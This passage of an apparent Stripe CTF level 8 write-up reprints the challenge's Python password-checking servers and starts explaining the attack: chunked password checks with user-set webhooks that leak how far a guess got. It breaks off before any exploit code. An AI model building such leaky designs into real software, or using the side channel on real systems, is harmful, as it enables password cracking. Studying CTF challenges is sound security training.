<a name="n144" href="https://stripe-ctf.com/levels/8#n144"></a>144
<a name="n145" href="https://stripe-ctf.com/levels/8#n145"></a>145
<a name="n146" href="https://stripe-ctf.com/levels/8#n146"></a>146
<a name="n147" href="https://stripe-ctf.com/levels/8#n147"></a>147
<a name="n148" href="https://stripe-ctf.com/levels/8#n148"></a>148
<a name="n149" href="https://stripe-ctf.com/levels/8#n149"></a>149
<strong><a name="n150" href="https://stripe-ctf.com/levels/8#n150"></a>150</strong>
<a name="n151" href="https://stripe-ctf.com/levels/8#n151"></a>151
<a name="n152" href="https://stripe-ctf.com/levels/8#n152"></a>152
<a name="n153" href="https://stripe-ctf.com/levels/8#n153"></a>153
<a name="n154" href="https://stripe-ctf.com/levels/8#n154"></a>154
<a name="n155" href="https://stripe-ctf.com/levels/8#n155"></a>155
<a name="n156" href="https://stripe-ctf.com/levels/8#n156"></a>156
<a name="n157" href="https://stripe-ctf.com/levels/8#n157"></a>157
<a name="n158" href="https://stripe-ctf.com/levels/8#n158"></a>158
<a name="n159" href="https://stripe-ctf.com/levels/8#n159"></a>159
<strong><a name="n160" href="https://stripe-ctf.com/levels/8#n160"></a>160</strong>
<a name="n161" href="https://stripe-ctf.com/levels/8#n161"></a>161
<a name="n162" href="https://stripe-ctf.com/levels/8#n162"></a>162
<a name="n163" href="https://stripe-ctf.com/levels/8#n163"></a>163
<a name="n164" href="https://stripe-ctf.com/levels/8#n164"></a>164
<a name="n165" href="https://stripe-ctf.com/levels/8#n165"></a>165
<a name="n166" href="https://stripe-ctf.com/levels/8#n166"></a>166
<a name="n167" href="https://stripe-ctf.com/levels/8#n167"></a>167
<a name="n168" href="https://stripe-ctf.com/levels/8#n168"></a>168
<a name="n169" href="https://stripe-ctf.com/levels/8#n169"></a>169
<strong><a name="n170" href="https://stripe-ctf.com/levels/8#n170"></a>170</strong>
<a name="n171" href="https://stripe-ctf.com/levels/8#n171"></a>171
<a name="n172" href="https://stripe-ctf.com/levels/8#n172"></a>172
<a name="n173" href="https://stripe-ctf.com/levels/8#n173"></a>173
<a name="n174" href="https://stripe-ctf.com/levels/8#n174"></a>174
<a name="n175" href="https://stripe-ctf.com/levels/8#n175"></a>175
<a name="n176" href="https://stripe-ctf.com/levels/8#n176"></a>176
<a name="n177" href="https://stripe-ctf.com/levels/8#n177"></a>177
<a name="n178" href="https://stripe-ctf.com/levels/8#n178"></a>178
<a name="n179" href="https://stripe-ctf.com/levels/8#n179"></a>179
<strong><a name="n180" href="https://stripe-ctf.com/levels/8#n180"></a>180</strong>
<a name="n181" href="https://stripe-ctf.com/levels/8#n181"></a>181
<a name="n182" href="https://stripe-ctf.com/levels/8#n182"></a>182
<a name="n183" href="https://stripe-ctf.com/levels/8#n183"></a>183
<a name="n184" href="https://stripe-ctf.com/levels/8#n184"></a>184
<a name="n185" href="https://stripe-ctf.com/levels/8#n185"></a>185
<a name="n186" href="https://stripe-ctf.com/levels/8#n186"></a>186
<a name="n187" href="https://stripe-ctf.com/levels/8#n187"></a>187
<a name="n188" href="https://stripe-ctf.com/levels/8#n188"></a>188
<a name="n189" href="https://stripe-ctf.com/levels/8#n189"></a>189
<strong><a name="n190" href="https://stripe-ctf.com/levels/8#n190"></a>190</strong>
<a name="n191" href="https://stripe-ctf.com/levels/8#n191"></a>191
<a name="n192" href="https://stripe-ctf.com/levels/8#n192"></a>192
<a name="n193" href="https://stripe-ctf.com/levels/8#n193"></a>193
<a name="n194" href="https://stripe-ctf.com/levels/8#n194"></a>194
<a name="n195" href="https://stripe-ctf.com/levels/8#n195"></a>195
<a name="n196" href="https://stripe-ctf.com/levels/8#n196"></a>196
<a name="n197" href="https://stripe-ctf.com/levels/8#n197"></a>197
<a name="n198" href="https://stripe-ctf.com/levels/8#n198"></a>198
<a name="n199" href="https://stripe-ctf.com/levels/8#n199"></a>199</pre>
</td>
<td>
<pre>#!/usr/bin/env python
import fcntl
import logging
import json
import optparse
import sys
import time
import traceback

from twisted.internet import reactor

# Local project
import common

logger = logging.getLogger('password_db')
logger.addHandler(logging.StreamHandler(sys.stderr))

class PrimaryProcessor(common.PayloadProcessor):
    def __init__(self, request, chunk_servers):
        super(PrimaryProcessor, self).__init__(request)
        self.chunk_servers = chunk_servers

    def process(self, data):
        Shield.registerLocker()

        password = self.getArg(data, 'password')
        webhooks = self.getArg(data, 'webhooks')

        self.start_time = time.time()

        self.remaining_chunk_servers = self.chunk_servers[:]
        self.remaining_chunks = self.chunkPassword(password)

        self.webhooks = [common.parseHost(webhook) for webhook in webhooks]

        self.checkNext()

    def checkNext(self):
        assert(len(self.remaining_chunks) == len(self.remaining_chunk_servers))

        if not self.remaining_chunk_servers:
            self.sendResult(True)
            return

        next_chunk_server = self.remaining_chunk_servers.pop(0)
        next_chunk = self.remaining_chunks.pop(0)

        self.log_info('Making request to chunk server %r'
                      ' (remaining chunk servers: %r)' %
                      (next_chunk_server, self.remaining_chunk_servers))

        common.makeRequest(next_chunk_server,
                           {'password_chunk' : next_chunk},
                           self.nextServerCallback,
                           self.nextServerErrback)

    def nextServerCallback(self, data):
        parsed_data = json.loads(data)
        # Chunk was wrong!
        if not parsed_data['success']:
            # Defend against timing attacks
            remaining_time = self.expectedRemainingTime()
            self.log_info('Going to wait %s seconds before responding' %
                          remaining_time)
            reactor.callLater(remaining_time, self.sendResult, False)
            return

        self.checkNext()

    def expectedRemainingTime(self):
        assert(len(self.chunk_servers) &gt; len(self.remaining_chunk_servers))
        elapsed_time = time.time() - self.start_time
        ratio_remaining_to_elapsed = (len(self.remaining_chunk_servers) * 1.0
            / (len(self.chunk_servers) - len(self.remaining_chunk_servers)))
        return ratio_remaining_to_elapsed * elapsed_time

    def nextServerErrback(self, address_spec, error):
        backtrace = traceback.format_exc(error)
        self.log_error('Error while connecting to chunk server %r: %s (%r)' %
                       (address_spec, error, backtrace))
        self.respondWithMessage('Error! This should never happen in '
                                'production, but it seems that it did. Contact'
                                ' us at ctf@stripe.com to let us know.')

    def sendResult(self, success):
        result = {'success': success}
        self.respond(result)
        for webhook in self.webhooks:
            self.sendWebhook(webhook, result)

    def sendWebhook(self, webhook_host_spec, result):
        self.log_info('Sending webhook to %r: %s' %
                      (webhook_host_spec, result))
        common.makeRequest(webhook_host_spec, result, self.sendWebhookCallback,
                           self.sendWebhookErrback)

    def sendWebhookCallback(self, data):
        # Too late to do anything here
        pass

    def sendWebhookErrback(self, address_spec, error):
        backtrace = traceback.format_exc(error)
        self.log_error('Error while connecting to webhook server %r: %s (%r)' %
                       (address_spec, error, backtrace))

    def chunkPassword(self, password):
        return common.chunkPassword(len(self.chunk_servers), password, self)

class Shield(object):
    # Ensure equitable distribution of load among many PasswordDB
    # instances on a single server. (Typically servers come with many
    # PasswordDB instances.)
    @classmethod
    def registerLocker(self):
        if self.has_lock:
            return

        self.acquireLock()
        reactor.callLater(self.lock_period, self.releaseLock)

    @classmethod
    def acquireLock(self):
        logger.info('Acquiring lock')
        fcntl.flock(self.lockfile, fcntl.LOCK_EX)
        self.has_lock = True

    @classmethod
    def releaseLock(self):
        logger.info('Releasing lock')
        fcntl.flock(self.lockfile, fcntl.LOCK_UN)
        self.has_lock = False

    @classmethod
    def openLockfile(self, path):
        self.lock_period = 0.250
        self.has_lock = False
        self.lockfile = open(path, 'w')

def main():
    usage = """
%prog -c CHUNK_SERVER [-c CHUNK_SERVER ...] [-q ...] -l /path/to/lockfile PRIMARY_SERVER

CHUNK_SERVER:
    A chunk server to spin up as &lt;chunk_host:chunk_port&gt;

PRIMARY_SERVER:
    Either pass a host:port pair &lt;primary_host:primary_port&gt; or pass a
    unix:-prefixed path for it to listen on a UNIX socket
    &lt;unix:/path/to/socket&gt; (useful for running under FastCGI).
"""
    parser = optparse.OptionParser(usage)
    parser.add_option('-q', '--quiet', help='Quietness of debugging output.',
                      dest='quiet', action='count', default=0)
    parser.add_option('-c', '--chunk-servers',
                      help='Add a chunk server to spin up',
                      dest='chunk_servers', action='append', default=[])
    parser.add_option('-l', '--lock-file',
                      help='Path to lockfile',
                      dest='lockfile')
    opts, args = parser.parse_args()
    if not opts.quiet:
        logger.setLevel(logging.DEBUG)
    elif opts.quiet == 1:
        logger.setLevel(logging.INFO)
    elif opts.quiet &gt;= 2:
        logger.setLevel(logging.WARN)

    if len(args) != 1:
        parser.print_usage()
        return 1

    if not opts.chunk_servers:
        parser.print_usage()
        return 1

    if not opts.lockfile:
        parser.print_usage()
        return 1

    Shield.openLockfile(opts.lockfile)

    chunk_servers = [common.parseHost(spec) for spec in opts.chunk_servers]

    server = common.HTTPServer(PrimaryProcessor, chunk_servers)

    spec = args[0]
    if common.isUnix(spec):
        path = common.parseUnix(spec)
        common.listenUNIX(path, server)
    else:
        address_spec = common.parseHost(args[0])
        common.listenTCP(address_spec, server)

    reactor.run()
    return 0

if __name__ == '__main__':
    sys.exit(main())</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>chunk_server</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/8#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/8#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/8#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/8#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/8#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/8#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/8#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/8#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/8#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/8#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/8#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/8#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/8#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/8#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/8#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/8#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/8#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/8#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/8#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/8#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/8#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/8#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/8#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/8#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/8#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/8#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/8#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/8#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/8#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/8#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/8#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/8#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/8#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/8#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/8#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/8#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/8#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/8#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/8#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/8#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/8#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/8#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/8#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/8#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/8#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/8#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/8#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/8#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/8#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/8#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/8#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/8#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/8#n53"></a>53</pre>
</td>
<td>
<pre>#!/usr/bin/env python
import logging
import optparse
import sys

from twisted.internet import reactor

# Local project
import common

logger = logging.getLogger('password_db')
logger.addHandler(logging.StreamHandler(sys.stderr))

class ChunkProcessor(common.PayloadProcessor):
    def __init__(self, request, password_chunk):
        super(ChunkProcessor, self).__init__(request)
        self.password_chunk = password_chunk

    def process(self, data):
        chunk = self.getArg(data, 'password_chunk')
        success = chunk == self.password_chunk
        self.respond({
                'success' : success
                })

def main():
    usage = """%prog [-q ...] &lt;host:port&gt; &lt;password_chunk&gt;"""
    parser = optparse.OptionParser(usage)
    parser.add_option('-q', '--quiet', help='Quietness of debugging output.',
                      dest='quiet', action='count', default=0)
    opts, args = parser.parse_args()
    if not opts.quiet:
        logger.setLevel(logging.DEBUG)
    elif opts.quiet == 1:
        logger.setLevel(logging.INFO)
    elif opts.quiet &gt;= 2:
        logger.setLevel(logging.WARN)

    if len(args) != 2:
        parser.print_usage()
        return 1

    address_spec = common.parseHost(args[0])
    password_chunk = args[1]

    server = common.HTTPServer(ChunkProcessor, password_chunk)
    common.listenTCP(address_spec, server)
    reactor.run()

    return 0

if __name__ == '__main__':
    sys.exit(main())</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>common.py</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/8#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/8#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/8#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/8#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/8#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/8#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/8#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/8#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/8#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/8#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/8#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/8#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/8#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/8#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/8#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/8#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/8#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/8#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/8#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/8#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/8#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/8#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/8#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/8#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/8#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/8#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/8#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/8#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/8#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/8#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/8#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/8#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/8#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/8#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/8#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/8#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/8#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/8#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/8#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/8#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/8#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/8#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/8#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/8#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/8#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/8#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/8#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/8#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/8#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/8#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/8#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/8#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/8#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/8#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/8#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/8#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/8#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/8#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/8#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/8#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/8#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/8#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/8#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/8#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/8#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/8#n66"></a>66
<a name="n67" href="https://stripe-ctf.com/levels/8#n67"></a>67
<a name="n68" href="https://stripe-ctf.com/levels/8#n68"></a>68
<a name="n69" href="https://stripe-ctf.com/levels/8#n69"></a>69
<strong><a name="n70" href="https://stripe-ctf.com/levels/8#n70"></a>70</strong>
<a name="n71" href="https://stripe-ctf.com/levels/8#n71"></a>71
<a name="n72" href="https://stripe-ctf.com/levels/8#n72"></a>72
<a name="n73" href="https://stripe-ctf.com/levels/8#n73"></a>73
<a name="n74" href="https://stripe-ctf.com/levels/8#n74"></a>74
<a name="n75" href="https://stripe-ctf.com/levels/8#n75"></a>75
<a name="n76" href="https://stripe-ctf.com/levels/8#n76"></a>76
<a name="n77" href="https://stripe-ctf.com/levels/8#n77"></a>77
<a name="n78" href="https://stripe-ctf.com/levels/8#n78"></a>78
<a name="n79" href="https://stripe-ctf.com/levels/8#n79"></a>79
<strong><a name="n80" href="https://stripe-ctf.com/levels/8#n80"></a>80</strong>
<a name="n81" href="https://stripe-ctf.com/levels/8#n81"></a>81
<a name="n82" href="https://stripe-ctf.com/levels/8#n82"></a>82
<a name="n83" href="https://stripe-ctf.com/levels/8#n83"></a>83
<a name="n84" href="https://stripe-ctf.com/levels/8#n84"></a>84
<a name="n85" href="https://stripe-ctf.com/levels/8#n85"></a>85
<a name="n86" href="https://stripe-ctf.com/levels/8#n86"></a>86
<a name="n87" href="https://stripe-ctf.com/levels/8#n87"></a>87
<a name="n88" href="https://stripe-ctf.com/levels/8#n88"></a>88
<a name="n89" href="https://stripe-ctf.com/levels/8#n89"></a>89
<strong><a name="n90" href="https://stripe-ctf.com/levels/8#n90"></a>90</strong>
<a name="n91" href="https://stripe-ctf.com/levels/8#n91"></a>91
<a name="n92" href="https://stripe-ctf.com/levels/8#n92"></a>92
<a name="n93" href="https://stripe-ctf.com/levels/8#n93"></a>93
<a name="n94" href="https://stripe-ctf.com/levels/8#n94"></a>94
<a name="n95" href="https://stripe-ctf.com/levels/8#n95"></a>95
<a name="n96" href="https://stripe-ctf.com/levels/8#n96"></a>96
<a name="n97" href="https://stripe-ctf.com/levels/8#n97"></a>97
<a name="n98" href="https://stripe-ctf.com/levels/8#n98"></a>98
<a name="n99" href="https://stripe-ctf.com/levels/8#n99"></a>99
<strong><a name="n100" href="https://stripe-ctf.com/levels/8#n100"></a>100</strong>
<a name="n101" href="https://stripe-ctf.com/levels/8#n101"></a>101
<a name="n102" href="https://stripe-ctf.com/levels/8#n102"></a>102
<a name="n103" href="https://stripe-ctf.com/levels/8#n103"></a>103
<a name="n104" href="https://stripe-ctf.com/levels/8#n104"></a>104
<a name="n105" href="https://stripe-ctf.com/levels/8#n105"></a>105
<a name="n106" href="https://stripe-ctf.com/levels/8#n106"></a>106
<a name="n107" href="https://stripe-ctf.com/levels/8#n107"></a>107
<a name="n108" href="https://stripe-ctf.com/levels/8#n108"></a>108
<a name="n109" href="https://stripe-ctf.com/levels/8#n109"></a>109
<strong><a name="n110" href="https://stripe-ctf.com/levels/8#n110"></a>110</strong>
<a name="n111" href="https://stripe-ctf.com/levels/8#n111"></a>111
<a name="n112" href="https://stripe-ctf.com/levels/8#n112"></a>112
<a name="n113" href="https://stripe-ctf.com/levels/8#n113"></a>113
<a name="n114" href="https://stripe-ctf.com/levels/8#n114"></a>114
<a name="n115" href="https://stripe-ctf.com/levels/8#n115"></a>115
<a name="n116" href="https://stripe-ctf.com/levels/8#n116"></a>116
<a name="n117" href="https://stripe-ctf.com/levels/8#n117"></a>117
<a name="n118" href="https://stripe-ctf.com/levels/8#n118"></a>118
<a name="n119" href="https://stripe-ctf.com/levels/8#n119"></a>119
<strong><a name="n120" href="https://stripe-ctf.com/levels/8#n120"></a>120</strong>
<a name="n121" href="https://stripe-ctf.com/levels/8#n121"></a>121
<a name="n122" href="https://stripe-ctf.com/levels/8#n122"></a>122
<a name="n123" href="https://stripe-ctf.com/levels/8#n123"></a>123
<a name="n124" href="https://stripe-ctf.com/levels/8#n124"></a>124
<a name="n125" href="https://stripe-ctf.com/levels/8#n125"></a>125
<a name="n126" href="https://stripe-ctf.com/levels/8#n126"></a>126
<a name="n127" href="https://stripe-ctf.com/levels/8#n127"></a>127
<a name="n128" href="https://stripe-ctf.com/levels/8#n128"></a>128
<a name="n129" href="https://stripe-ctf.com/levels/8#n129"></a>129
<strong><a name="n130" href="https://stripe-ctf.com/levels/8#n130"></a>130</strong>
<a name="n131" href="https://stripe-ctf.com/levels/8#n131"></a>131
<a name="n132" href="https://stripe-ctf.com/levels/8#n132"></a>132
<a name="n133" href="https://stripe-ctf.com/levels/8#n133"></a>133
<a name="n134" href="https://stripe-ctf.com/levels/8#n134"></a>134
<a name="n135" href="https://stripe-ctf.com/levels/8#n135"></a>135
<a name="n136" href="https://stripe-ctf.com/levels/8#n136"></a>136
<a name="n137" href="https://stripe-ctf.com/levels/8#n137"></a>137
<a name="n138" href="https://stripe-ctf.com/levels/8#n138"></a>138
<a name="n139" href="https://stripe-ctf.com/levels/8#n139"></a>139
<strong><a name="n140" href="https://stripe-ctf.com/levels/8#n140"></a>140</strong>
<a name="n141" href="https://stripe-ctf.com/levels/8#n141"></a>141
<a name="n142" href="https://stripe-ctf.com/levels/8#n142"></a>142
<a name="n143" href="https://stripe-ctf.com/levels/8#n143"></a>143
<a name="n144" href="https://stripe-ctf.com/levels/8#n144"></a>144
<a name="n145" href="https://stripe-ctf.com/levels/8#n145"></a>145
<a name="n146" href="https://stripe-ctf.com/levels/8#n146"></a>146
<a name="n147" href="https://stripe-ctf.com/levels/8#n147"></a>147
<a name="n148" href="https://stripe-ctf.com/levels/8#n148"></a>148
<a name="n149" href="https://stripe-ctf.com/levels/8#n149"></a>149
<strong><a name="n150" href="https://stripe-ctf.com/levels/8#n150"></a>150</strong>
<a name="n151" href="https://stripe-ctf.com/levels/8#n151"></a>151
<a name="n152" href="https://stripe-ctf.com/levels/8#n152"></a>152
<a name="n153" href="https://stripe-ctf.com/levels/8#n153"></a>153
<a name="n154" href="https://stripe-ctf.com/levels/8#n154"></a>154
<a name="n155" href="https://stripe-ctf.com/levels/8#n155"></a>155
<a name="n156" href="https://stripe-ctf.com/levels/8#n156"></a>156
<a name="n157" href="https://stripe-ctf.com/levels/8#n157"></a>157
<a name="n158" href="https://stripe-ctf.com/levels/8#n158"></a>158
<a name="n159" href="https://stripe-ctf.com/levels/8#n159"></a>159
<strong><a name="n160" href="https://stripe-ctf.com/levels/8#n160"></a>160</strong>
<a name="n161" href="https://stripe-ctf.com/levels/8#n161"></a>161
<a name="n162" href="https://stripe-ctf.com/levels/8#n162"></a>162
<a name="n163" href="https://stripe-ctf.com/levels/8#n163"></a>163
<a name="n164" href="https://stripe-ctf.com/levels/8#n164"></a>164</pre>
</td>
<td>
<pre>import atexit
import json
import logging
import os

from twisted.internet import reactor, protocol
from twisted.protocols import basic

from twisted.web import server, resource, client

logger = logging.getLogger('password_db.common')

class Halt(Exception):
    pass

class HTTPServer(object, resource.Resource):
    isLeaf = True

    def __init__(self, processor, args):
        self.processor = processor
        self.args = args

    def render_GET(self, request):
        return ('{"success": false, "message": "GET not supported.'
                ' Try POSTing instead."}\n')

    def render_POST(self, request):
        processor_instance = self.processor(request, self.args)
        processor_instance.processRaw()
        return server.NOT_DONE_YET

class PayloadProcessor(object):
    request_count = 0

    def __init__(self, request):
        PayloadProcessor.request_count += 1
        self.request_id = PayloadProcessor.request_count
        self.request = request

    def processRaw(self):
        raw_data = self.request.content.read()
        self.log_info('Received payload: %r', raw_data)

        try:
            parsed = json.loads(raw_data)
        except ValueError as e:
            self.respondWithMessage('Could not parse message: %s' % e)
            return

        try:
            self.process(parsed)
        except Halt:
            pass

    # API method
    def process(self, data):
        raise NotImplementedError

    # Utility methods
    def getArg(self, data, name):
        try:
            return data[name]
        except KeyError:
            self.respondWithMessage('Missing required param: %s' % name)
            raise Halt()

    def respondWithMessage(self, message):
        response = {
            'success' : False,
            'message' : message
            }
        self.respond(response)

    def respond(self, response):
        if self.request.notifyFinish():
            self.log_error("Request already finished!")
        formatted = json.dumps(response) + '\n'
        self.log_info('Responding with: %r', formatted)
        self.request.write(formatted)
        self.request.finish()

    def log_info(self, *args):
        self.log('info', *args)

    def log_error(self, *args):
        self.log('error', *args)

    def log(self, level, msg, *args):
        # Make this should actually be handled by a formatter.
        client = self.request.client
        try:
            host = client.host
            port = client.port
        except AttributeError:
            prefix = '[%r:%d] '  % (client, self.request_id)
        else:
            prefix = '[%s:%d:%d] '  % (host, port, self.request_id)
        method = getattr(logger, level)
        interpolated = msg % args
        method(prefix + interpolated)

def chunkPassword(chunk_count, password, request=None):
    # Equivalent to ceil(password_length / chunk_count)
    chunk_size = (len(password) + chunk_count - 1) / chunk_count

    chunks = []
    for i in xrange(0, len(password), chunk_size):
        chunks.append(password[i:i+chunk_size])

    while len(chunks) &lt; chunk_count:
        chunks.append('')

    msg = 'Split length %d password into %d chunks of size about %d: %r'
    args = [len(password), chunk_count, chunk_size, chunks]
    if request:
        request.log_info(msg, *args)
    else:
        logger.info(msg, *args)

    return chunks

def isUnix(spec):
    return spec.startswith('unix:')

def parseHost(host):
    host, port = host.split(':')
    port = int(port)
    return host, port

def parseUnix(unix):
    path = unix[len('unix:'):]
    return path

def makeRequest(address_spec, data, callback, errback):
    # Change the signature of the errback
    def wrapper(error):
        errback(address_spec, error)

    host, port = address_spec
    factory = client.HTTPClientFactory('/',
                                       agent='PasswordChunker',
                                       method='POST',
                                       postdata=json.dumps(data))
    factory.deferred.addCallback(callback)
    factory.deferred.addErrback(wrapper)
    reactor.connectTCP(host, port, factory)

def listenTCP(address_spec, http_server):
    host, port = address_spec
    site = server.Site(http_server)
    reactor.listenTCP(port, site, 50, host)

def cleanupSocket(path):
    try:
        os.remove(path)
    except OSError:
        pass

def listenUNIX(path, http_server):
    site = server.Site(http_server)
    reactor.listenUNIX(path, site, 50)
    atexit.register(cleanupSocket, path)</pre>
</td>
</tr>
</tbody>
</table>
&nbsp;

<strong>Solution</strong>

<strong></strong>This one was a real badass, it took me about 7 hours to crack (though I was real sleepy) and I won the CTF T-Shirt after that <img src='http://abiusx.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> 

Since the code is too much, I&#8217;ll describe the scenario. There&#8217;s an application that launches and gets a 12 digit password as input. Then it launches 4 different chunk servers, each holding 3 digits of the password. Chunks are respective, i.e chunk 1 has digits 1 to 3.

The application receives requests on a certain endpoint (URL) and outputs a simple JSON string, either <strong>{&#8220;success&#8221;:false}</strong> or <strong>{&#8220;success&#8221;</strong>:<strong>true}</strong> depending on whether your input password was right or not.

To check this, the application breaks your input into 4 chunks, sends the first one to chunk server 1 and checks if its valid. If it is, the second part is sent to chunk server 2 for processing and so on. If any of the password chunks are invalid, the processing stops right there.

One more thing, you can ask the application to send the result to your own endpoint (some port on some server) as well as responding it directly back to you. Now this must have something to do with solving the challenge.

Unfortunately, the application only has access to stripe-ctf servers, so you can&#8217;t run your endpoint anywhere you like. You have to obtain some endpoint on their network. Well level02 server is still out there.

<strong>Obtaining the endpoint server</strong>

